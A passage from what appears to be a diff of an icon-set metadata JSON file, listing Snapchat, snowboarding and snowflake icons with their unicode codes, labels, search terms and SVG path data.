512\"><path d=\"M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7 1.3 3 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128.2 304H116c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H156c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-19 38.6-42.4 38.6zm191.8-8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-68.2l-24.8 55.8c-2.9 5.9-11.4 5.9-14.3 0L224 227.8V296c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V192c0-8.8 7.2-16 16-16h16c6.1 0 11.6 3.4 14.3 8.8l17.7 35.4 17.7-35.4c2.7-5.4 8.3-8.8 14.3-8.8h16c8.8 0 16 7.2 16 16v104zm48.3 8H356c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H396c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-18.9 38.6-42.3 38.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7 1.3 3 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128.2 304H116c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H156c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-19 38.6-42.4 38.6zm191.8-8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-68.2l-24.8 55.8c-2.9 5.9-11.4 5.9-14.3 0L224 227.8V296c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V192c0-8.8 7.2-16 16-16h16c6.1 0 11.6 3.4 14.3 8.8l17.7 35.4 17.7-35.4c2.7-5.4 8.3-8.8 14.3-8.8h16c8.8 0 16 7.2 16 16v104zm48.3 8H356c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H396c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-18.9 38.6-42.3 38.6z" + } + }, + "free": [ + "solid" + ] + }, + "snapchat": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2ab", + "label": "Snapchat", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633725, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm169.5 338.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C183.1 100 230.7 96 244.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm169.5 338.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C183.1 100 230.7 96 244.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z" + } + }, + "free": [ + "brands" + ] + }, + "snapchat-ghost": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2ac", + "label": "Snapchat Ghost", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633725, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M510.846 392.673c-5.211 12.157-27.239 21.089-67.36 27.318-2.064 2.786-3.775 14.686-6.507 23.956-1.625 5.566-5.623 8.869-12.128 8.869l-.297-.005c-9.395 0-19.203-4.323-38.852-4.323-26.521 0-35.662 6.043-56.254 20.588-21.832 15.438-42.771 28.764-74.027 27.399-31.646 2.334-58.025-16.908-72.871-27.404-20.714-14.643-29.828-20.582-56.241-20.582-18.864 0-30.736 4.72-38.852 4.72-8.073 0-11.213-4.922-12.422-9.04-2.703-9.189-4.404-21.263-6.523-24.13-20.679-3.209-67.31-11.344-68.498-32.15a10.627 10.627 0 0 1 8.877-11.069c69.583-11.455 100.924-82.901 102.227-85.934.074-.176.155-.344.237-.515 3.713-7.537 4.544-13.849 2.463-18.753-5.05-11.896-26.872-16.164-36.053-19.796-23.715-9.366-27.015-20.128-25.612-27.504 2.437-12.836 21.725-20.735 33.002-15.453 8.919 4.181 16.843 6.297 23.547 6.297 5.022 0 8.212-1.204 9.96-2.171-2.043-35.936-7.101-87.29 5.687-115.969C158.122 21.304 229.705 15.42 250.826 15.42c.944 0 9.141-.089 10.11-.089 52.148 0 102.254 26.78 126.723 81.643 12.777 28.65 7.749 79.792 5.695 116.009 1.582.872 4.357 1.942 8.599 2.139 6.397-.286 13.815-2.389 22.069-6.257 6.085-2.846 14.406-2.461 20.48.058l.029.01c9.476 3.385 15.439 10.215 15.589 17.87.184 9.747-8.522 18.165-25.878 25.018-2.118.835-4.694 1.655-7.434 2.525-9.797 3.106-24.6 7.805-28.616 17.271-2.079 4.904-1.256 11.211 2.46 18.748.087.168.166.342.239.515 1.301 3.03 32.615 74.46 102.23 85.934 6.427 1.058 11.163 7.877 7.725 15.859z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M510.846 392.673c-5.211 12.157-27.239 21.089-67.36 27.318-2.064 2.786-3.775 14.686-6.507 23.956-1.625 5.566-5.623 8.869-12.128 8.869l-.297-.005c-9.395 0-19.203-4.323-38.852-4.323-26.521 0-35.662 6.043-56.254 20.588-21.832 15.438-42.771 28.764-74.027 27.399-31.646 2.334-58.025-16.908-72.871-27.404-20.714-14.643-29.828-20.582-56.241-20.582-18.864 0-30.736 4.72-38.852 4.72-8.073 0-11.213-4.922-12.422-9.04-2.703-9.189-4.404-21.263-6.523-24.13-20.679-3.209-67.31-11.344-68.498-32.15a10.627 10.627 0 0 1 8.877-11.069c69.583-11.455 100.924-82.901 102.227-85.934.074-.176.155-.344.237-.515 3.713-7.537 4.544-13.849 2.463-18.753-5.05-11.896-26.872-16.164-36.053-19.796-23.715-9.366-27.015-20.128-25.612-27.504 2.437-12.836 21.725-20.735 33.002-15.453 8.919 4.181 16.843 6.297 23.547 6.297 5.022 0 8.212-1.204 9.96-2.171-2.043-35.936-7.101-87.29 5.687-115.969C158.122 21.304 229.705 15.42 250.826 15.42c.944 0 9.141-.089 10.11-.089 52.148 0 102.254 26.78 126.723 81.643 12.777 28.65 7.749 79.792 5.695 116.009 1.582.872 4.357 1.942 8.599 2.139 6.397-.286 13.815-2.389 22.069-6.257 6.085-2.846 14.406-2.461 20.48.058l.029.01c9.476 3.385 15.439 10.215 15.589 17.87.184 9.747-8.522 18.165-25.878 25.018-2.118.835-4.694 1.655-7.434 2.525-9.797 3.106-24.6 7.805-28.616 17.271-2.079 4.904-1.256 11.211 2.46 18.748.087.168.166.342.239.515 1.301 3.03 32.615 74.46 102.23 85.934 6.427 1.058 11.163 7.877 7.725 15.859z" + } + }, + "free": [ + "brands" + ] + }, + "snapchat-square": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2ad", + "label": "Snapchat Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1628088633725, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6.5 314.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C159.1 100 206.7 96 220.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6.5 314.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C159.1 100 206.7 96 220.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z" + } + }, + "free": [ + "brands" + ] + }, + "snowboarding": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "activity", + "fitness", + "olympics", + "outdoors", + "person" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7ce", + "label": "Snowboarding", + "svg": { + "solid": { + "last_modified": 1628088635706, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm28.8 153.6c5.8 4.3 12.5 6.4 19.2 6.4 9.7 0 19.3-4.4 25.6-12.8 10.6-14.1 7.8-34.2-6.4-44.8l-111.4-83.5c-13.8-10.3-29.1-18.4-45.4-23.8l-63.7-21.2-26.1-52.1C244.7 2 225.5-4.4 209.7 3.5c-15.8 7.9-22.2 27.1-14.3 42.9l29.1 58.1c5.7 11.4 15.6 19.9 27.7 24l16.4 5.5-41.2 20.6c-21.8 10.9-35.4 32.8-35.4 57.2v53.1l-74.1 24.7c-16.8 5.6-25.8 23.7-20.2 40.5 1.7 5.2 4.9 9.4 8.7 12.9l-38.7-14.1c-9.7-3.5-17.4-10.6-21.8-20-5.6-12-19.9-17.2-31.9-11.6s-17.2 19.9-11.6 31.9c9.8 21 27.1 36.9 48.9 44.8l364.8 132.7c9.7 3.5 19.7 5.3 29.7 5.3 12.5 0 24.9-2.7 36.5-8.2 12-5.6 17.2-19.9 11.6-31.9S474 454.7 462 460.3c-9.3 4.4-19.8 4.8-29.5 1.3l-90.8-33.1c8.7-4.1 15.6-11.8 17.8-21.9l21.9-102c3.9-18.2-3.2-37.2-18.1-48.4l-52-39 66-30.5 83.5 62.9zm-144.4 51.7l-19.7 92c-1.5 7.1-.1 13.9 2.8 20l-169.4-61.6c2.7-.2 5.4-.4 8-1.3l85-28.4c19.6-6.5 32.8-24.8 32.8-45.5V256l60.5 45.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm28.8 153.6c5.8 4.3 12.5 6.4 19.2 6.4 9.7 0 19.3-4.4 25.6-12.8 10.6-14.1 7.8-34.2-6.4-44.8l-111.4-83.5c-13.8-10.3-29.1-18.4-45.4-23.8l-63.7-21.2-26.1-52.1C244.7 2 225.5-4.4 209.7 3.5c-15.8 7.9-22.2 27.1-14.3 42.9l29.1 58.1c5.7 11.4 15.6 19.9 27.7 24l16.4 5.5-41.2 20.6c-21.8 10.9-35.4 32.8-35.4 57.2v53.1l-74.1 24.7c-16.8 5.6-25.8 23.7-20.2 40.5 1.7 5.2 4.9 9.4 8.7 12.9l-38.7-14.1c-9.7-3.5-17.4-10.6-21.8-20-5.6-12-19.9-17.2-31.9-11.6s-17.2 19.9-11.6 31.9c9.8 21 27.1 36.9 48.9 44.8l364.8 132.7c9.7 3.5 19.7 5.3 29.7 5.3 12.5 0 24.9-2.7 36.5-8.2 12-5.6 17.2-19.9 11.6-31.9S474 454.7 462 460.3c-9.3 4.4-19.8 4.8-29.5 1.3l-90.8-33.1c8.7-4.1 15.6-11.8 17.8-21.9l21.9-102c3.9-18.2-3.2-37.2-18.1-48.4l-52-39 66-30.5 83.5 62.9zm-144.4 51.7l-19.7 92c-1.5 7.1-.1 13.9 2.8 20l-169.4-61.6c2.7-.2 5.4-.4 8-1.3l85-28.4c19.6-6.5 32.8-24.8 32.8-45.5V256l60.5 45.3z" + } + }, + "free": [ + "solid" + ] + }, + "snowflake": { + "changes": [ + "4.7", + "5.0.0", + "5.5.0" + ], + "ligatures": [], + "search": { + "terms": [ + "precipitation", + "rain", + "winter" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f2dc", + "label": "Snowflake", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635706, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M440.3 345.2l-33.8-19.5 26-7c8.2-2.2 13.1-10.7 10.9-18.9l-4-14.9c-2.2-8.2-10.7-13.1-18.9-10.9l-70.8 19-63.9-37 63.8-36.9 70.8 19c8.2 2.2 16.7-2.7 18.9-10.9l4-14.9c2.2-8.2-2.7-16.7-10.9-18.9l-26-7 33.8-19.5c7.4-4.3 9.9-13.7 5.7-21.1L430.4 119c-4.3-7.4-13.7-9.9-21.1-5.7l-33.8 19.5 7-26c2.2-8.2-2.7-16.7-10.9-18.9l-14.9-4c-8.2-2.2-16.7 2.7-18.9 10.9l-19 70.8-62.8 36.2v-77.5l53.7-53.7c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0L256 56.4V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v40.4l-19.7-19.7c-6.2-6.2-16.4-6.2-22.6 0L138.3 48c-6.3 6.2-6.3 16.4 0 22.6l53.7 53.7v77.5l-62.8-36.2-19-70.8c-2.2-8.2-10.7-13.1-18.9-10.9l-14.9 4c-8.2 2.2-13.1 10.7-10.9 18.9l7 26-33.8-19.5c-7.4-4.3-16.8-1.7-21.1 5.7L2.1 145.7c-4.3 7.4-1.7 16.8 5.7 21.1l33.8 19.5-26 7c-8.3 2.2-13.2 10.7-11 19l4 14.9c2.2 8.2 10.7 13.1 18.9 10.9l70.8-19 63.8 36.9-63.8 36.9-70.8-19c-8.2-2.2-16.7 2.7-18.9 10.9l-4 14.9c-2.2 8.2 2.7 16.7 10.9 18.9l26 7-33.8 19.6c-7.4 4.3-9.9 13.7-5.7 21.1l15.5 26.8c4.3 7.4 13.7 9.9 21.1 5.7l33.8-19.5-7 26c-2.2 8.2 2.7 16.7 10.9 18.9l14.9 4c8.2 2.2 16.7-2.7 18.9-10.9l19-70.8 62.8-36.2v77.5l-53.7 53.7c-6.3 6.2-6.3 16.4 0 22.6l11.3 11.3c6.2 6.2 16.4 6.2 22.6 0l19.7-19.7V496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-40.4l19.7 19.7c6.2 6.2 16.4 6.2 22.6 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6L256 387.7v-77.5l62.8 36.2 19 70.8c2.2 8.2 10.7 13.1 18.9 10.9l14.9-4c8.2-2.2 13.1-10.7 10.9-18.9l-7-26 33.8 19.5c7.4 4.3 16.8 1.7 21.1-5.7l15.5-26.8c4.3-7.3 1.8-16.8-5.6-21z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M440.3 345.2l-33.8-19.5 26-7c8.2-2.2 13.1-10.7 10.9-18.9l-4-14.9c-2.2-8.2-10.7-13.1-18.9-10.9l-70.8 19-63.9-37 63.8-36.9 70.8 19c8.2 2.2 16.7-2.7 18.9-10.9l4-14.9c2.2-8.2-2.7-16.7-10.9-18.9l-26-7 33.8-19.5c7.4-4.3 9.9-13.7 5.7-21.1L430.4 119c-4.3-7.4-13.7-9.9-21.1-5.7l-33.8 19.5 7-26c2.2-8.2-2.7-16.7-10.9-18.9l-14.9-4c-8.2-2.2-16.7 2.7-18.9 10.9l-19 70.8-62.8 36.2v-77.5l53.7-53.7c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0L256 56.4V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v40.4l-19.7-19.7c-6.2-6.2-16.4-6.2-22.6 0L138.3 48c-6.3 6.2-6.3 16.4 0 22.6l53.7 53.7v77.5l-62.8-36.2-19-70.8c-2.2-8.2-10.7-13.1-18.9-10.9l-14.9 4c-8.2 2.2-13.1 10.7-10.9 18.9l7 26-33.8-19.5c-7.4-4.3-16.8-1.7-21.1 5.7L2.1 145.7c-4.3 7.4-1.7 16.8 5.7 21.1l33.8 19.5-26 7c-8.3 2.2-13.2 10.7-11 19l4 14.9c2.2 8.2 10.7 13.1 18.9 10.9l70.8-19 63.8 36.9-63.8 36.9-70.8-19c-8.2-2.2-16.7 2.7-18.9 10.9l-4 14.9c-2.2 8.2 2.7 16.7 10.9 18.9l26 7-33.8 19.6c-7.4 4.3-9.9 13.7-5.7 21.1l15.5 26.8c4.3 7.4 13.7 9.9 21.1 5.7l33.8-19.5-7 26c-2.2 8.2 2.7 16.7 10.9 18.9l14.9 4c8.2 2.2 16.7-2.7 18.9-10.9l19-70.8 62.8-36.2v77.5l-53.7 53.7c-6.3 6.2-6.3 16.4 0 22.6l11.3 11.3c6.2 6.2 16.4 6.2 22.6 0l19.7-19.7V496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-40.4l19.7 19.7c6.2 6.2 16.4 6.2 22.6 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6L256 387.7v-77.5l62.8 36.2 19 70.8c2.2 8.2 10.7 13.1 18.9 10.9l14.9-4c8.2-2.2 13.1-10.7 10.9-18.9l-7-26 33.8 19.5c7.4 4.3 16.8 1.7 21.1-5.7l15.5-26.8c4.3-7.3 1.8-16.8-5.6-21z" + }, + "regular": { + "last_modified": 1628088635006, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M440.1 355.2l-39.2-23 34.1-9.3c8.4-2.3 13.4-11.1 11.1-19.6l-4.1-15.5c-2.2-8.5-10.9-13.6-19.3-11.3L343 298.2 271.2 256l71.9-42.2 79.7 21.7c8.4 2.3 17-2.8 19.3-11.3l4.1-15.5c2.2-8.5-2.7-17.3-11.1-19.6l-34.1-9.3 39.2-23c7.5-4.4 10.1-14.2 5.8-21.9l-7.9-13.9c-4.3-7.7-14-10.3-21.5-5.9l-39.2 23 9.1-34.7c2.2-8.5-2.7-17.3-11.1-19.6l-15.2-4.1c-8.4-2.3-17 2.8-19.3 11.3l-21.3 81-71.9 42.2v-84.5L306 70.4c6.1-6.2 6.1-16.4 0-22.6l-11.1-11.3c-6.1-6.2-16.1-6.2-22.2 0l-24.9 25.4V16c0-8.8-7-16-15.7-16h-15.7c-8.7 0-15.7 7.2-15.7 16v46.1l-24.9-25.4c-6.1-6.2-16.1-6.2-22.2 0L142.1 48c-6.1 6.2-6.1 16.4 0 22.6l58.3 59.3v84.5l-71.9-42.2-21.3-81c-2.2-8.5-10.9-13.6-19.3-11.3L72.7 84c-8.4 2.3-13.4 11.1-11.1 19.6l9.1 34.7-39.2-23c-7.5-4.4-17.1-1.8-21.5 5.9l-7.9 13.9c-4.3 7.7-1.8 17.4 5.8 21.9l39.2 23-34.1 9.1c-8.4 2.3-13.4 11.1-11.1 19.6L6 224.2c2.2 8.5 10.9 13.6 19.3 11.3l79.7-21.7 71.9 42.2-71.9 42.2-79.7-21.7c-8.4-2.3-17 2.8-19.3 11.3l-4.1 15.5c-2.2 8.5 2.7 17.3 11.1 19.6l34.1 9.3-39.2 23c-7.5 4.4-10.1 14.2-5.8 21.9L10 391c4.3 7.7 14 10.3 21.5 5.9l39.2-23-9.1 34.7c-2.2 8.5 2.7 17.3 11.1 19.6l15.2 4.1c8.4 2.3 17-2.8 19.3-11.3l21.3-81 71.9-42.2v84.5l-58.3 59.3c-6.1 6.2-6.1 16.4 0 22.6l11.1 11.3c6.1 6.2 16.1 6.2 22.2 0l24.9-25.4V496c0 8.8 7 16 15.7 16h15.7c8.7 0 15.7-7.2 15.7-16v-46.1l24.9 25.4c6.1 6.2 16.1 6.2 22.2 0l11.1-11.3c6.1-6.2 6.1-16.4 0-22.6l-58.3-59.3v-84.5l71.9 42.2 21.3 81c2.2 8.5 10.9 13.6 19.3 11.3L375 428c8.4-2.3 13.4-11.1 11.1-19.6l-9.1-34.7 39.2 23c7.5 4.4 17.1 1.8 21.5-5.9l7.9-13.9c4.6-7.5 2.1-17.3-5.5-21.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M440.1 355.2l-39.2-23 34.1-9.3c8.4-2.3 13.4-11.1 11.1-19.6l-4.1-15.5c-2.2-8.5-10.9-13.6-19.3-11.3L343 298.2 271.2 256l71.9-42.2 79.7 21.7c8.4 2.3 17-2.8 19.3-11.3l4.1-15.5c2.2-8.5-2.7-17.3-11.1-19.6l-34.1-9.3 39.2-23c7.5-4.4 10.1-14.2 5.8-21.9l-7.9-13.9c-4.3-7.7-14-10.3-21.5-5.9l-39.2 23 9.1-34.7c2.2-8.5-2.7-17.3-11.1-19.6l-15.2-4.1c-8.4-2.3-17 2.8-19.3 11.3l-21.3 81-71.9 42.2v-84.5L306 70.4c6.1-6.2 6.1-16.4 0-22.6l-11.1-11.3c-6.1-6.2-16.1-6.2-22.2 0l-24.9 25.4V16c0-8.8-7-16-15.7-16h-15.7c-8.7 0-15.7 7.2-15.7 16v46.1l-24.9-25.4c-6.1-6.2-16.1-6.2-22.2 0L142.1 48c-6.1 6.2-6.1 16.4 0 22.6l58.3 59.3v84.5l-71.9-42.2-21.3-81c-2.2-8.5-10.9-13.6-19.3-11.3L72.7 84c-8.4 2.3-13.4 11.1-11.1 19.6l9.1 34.7-39.2-23c-7.5-4.4-17.1-1.8-21.5 5.9l-7.9 13.9c-4.3 7.7-1.8 17.4 5.8 21.9l39.2 23-34.1 9.1c-8.4 2.3-13.4 11.1-11.1 19.6L6 224.2c2.2 8.5 10.9 13.6 19.3 11.3l79.7-21.7 71.9 42.2-71.9 42.2-79.7-21.7c-8.4-2.3-17 2.8-19.3 11.3l-4.1 15.5c-2.2 8.5 2.7 17.3 11.1 19.6l34.1 9.3-39.2 23c-7.5 4.4-10.1 14.2-5.8 21.9L10 391c4.3 7.7 14 10.3 21.5 5.9l39.2-23-9.1 34.7c-2.2 8.5 2.7 17.3 11.1 19.6l15.2 4.1c8.4 2.3 17-2.8 19.3-11.3l21.3-81 71.9-42.2v84.5l-58.3 59.3c-6.1 6.2-6.1 16.4 0 